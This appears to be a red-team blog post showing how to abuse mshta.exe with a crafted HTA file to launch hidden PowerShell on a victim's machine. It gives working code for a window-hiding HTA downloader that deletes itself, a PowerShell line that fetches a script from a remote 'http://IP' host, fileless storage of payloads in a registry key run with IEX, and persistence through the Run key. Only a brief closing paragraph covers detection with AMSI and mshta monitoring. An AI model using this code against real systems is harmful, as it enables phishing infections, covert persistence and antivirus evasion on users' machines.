Skip to content

Abusing mshta.exe to Gain PowerShell Access

Abusing mshta.exe to Gain PowerShell Access

Abusing mshta.exe to Gain PowerShell Access


In my previous life, I spent a lot of time analyzing malware and figuring out how it worked in order to defend against it. One trend that has increased across the industry is the use of fileless malware and specifically mshta.exe as a method of infection. Now that I’m on offense, I wanted to take some time to flesh out how it could be used in red teaming and adversarial simulation.

Mshta.exe is a signed Microsoft application that runs Microsoft HTML Applications (HTA) files. These are HTML files that execute JavaScript or VBScript outside of the browser, with the full permission of the executing user. Because it is from Microsoft mshta is normally whitelisted and will allow us to execute code under the mshta process.


HTA files will run automatically if a user double clicks on them, because of this HTA files are excellent for Phishing, Malvertising, or Waterhole attacks where the user will click on the file and infect themselves. Writing our own malicious HTA file is super simple and with just a few lines of code, we can use mshta.exe as a downloader or stager for any malicious code that we could want.

To start with we want our basic HTML tags and then we add the HTA tag. This tag allows us to specify our app name as well as set all the visibility settings to no so that the victim won’t notice that the HTA file is running.

<!– wp:paragraph –>
<p><code><!DOCTYPE html><br><html><br><head><br><HTA:APPLICATION ID=”CS”<br>APPLICATIONNAME=”Downloader”<br>WINDOWSTATE=”minimize”<br>MAXIMIZEBUTTON=”no”<br>MINIMIZEBUTTON=”no”<br>CAPTION=”no”<br>SHOWINTASKBAR=”no”></code></p>
<!– /wp:paragraph –>

Once we have the HTA tag set we will write our script to download and execute some malicious PowerShell. In order to do this, we will take advantage of ActiveX and Wscript and pass the command that we want to run in memory along with the 0 flag which will keep anything from popping up on the victim’s machine.

//We will use in order to launch PowerShell
a = new ActiveXObject(‘Wscript.Shell’);
//Our command to execute
cmd = “powershell -windowstyle hidden -ep Bypass -nop -noexit -c ((New-Object
//Run the command, 0 is needed so that no PowerShell window will appear

Now that we have our script executing in memory, we need to clean up the HTA file. We can do this with ActiveX again by getting the file location, changing it away from an encoded uri and then removing file:/// from the front of it. We then close the window which closes mshta.exe leaving PowerShell running in the background with our downloaded code executing in memory.

<!– wp:paragraph –>
<p><code>//We use this in order to get erase the HTA file after it has executed<br>b = new ActiveXObject(“Scripting.FileSystemObject”);<br>//Get filename and edit it so that windows can read it properly<br>filename = window.location.href;<br>filename = decodeURI(filename);<br>filename = filename.slice(8);<br>//Get a handle on the file<br>c = b.GetFile(filename);<br>//Delete it<br>c.Delete();<br>//Close the MSHTA window<br>window.close();<br></script><br></head><br><body><br></body><br></html></code></p>
<!– /wp:paragraph –>


Once we get on a victim’s machine, we want to make sure that we do not lose that hard-earned access, but we also want to make sure that we leave as little trace as possible for their blue team to pick up on. In order to do this, we don’t want to put anything directly onto the disk and want to keep everything running in memory.

One way this can be completed is with registry keys. Using PowerShell’s Set-ItemProperty we can put more PowerShell script or even EXEs into any registry key that we want, in this case, I download another PowerShell script and then create a Reg Key and put it in the (Default) value.

#Download script to be kept in the reg key
$dl = (New-Object Net.WebClient).DownloadString(‘http://IP/script.ps1’)
#Creates and sets the default value to our downloaded script
New-Item -Path HKCU:softwarewow6432nodeMicrosoftWindowsUpdate -Value $dl

Once it’s in the registry we can easily pull the data back out of it to execute in memory with Get-ItemProperty and IEX.

<!– wp:paragraph –>
<p><code># Get the stored payload<br>$value = Get-ItemProperty -Path HKCU:softwarewow6432nodeMicrosoftWindowsUpdate -Name<br>”(Default)”<br>#Execute it<br>IEX ($value.”(Default)”)</code></p>
<!– /wp:paragraph –>

We then can put this script right into the
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun reg key and it will execute
when the user logs in, pulling our other malicious files, in the registry, and executing them in memory.


Currently detecting this can be difficult for traditional solutions as no malware touches the disk to be scanned by AV. In order to combat this and other scripting attacks, Microsoft released Anti-Malware Scan Interface or AMSI on Windows. AMSI’s goal is to catch bad scripts running in memory and works with Windows Defender and a few other AVs. Although AMSI is pretty good at detecting malicious scripts it can still be bypassed so you should monitor mshta use, especially when it executes any other applications such as PowerShell. Alerting on these kinds of actions can help you spot an infection as soon as it happens and start to remediate the infected machines.


PowerShell is an amazing tool that allows attackers to do anything they could want on a Windows system and leave little to no trace while they do it. Because of this any signed processes that can be used to run PowerShell should be watched closely because they can and will be used to compromise users’ machines.


Intro to HTAs:
AMSI Bypass: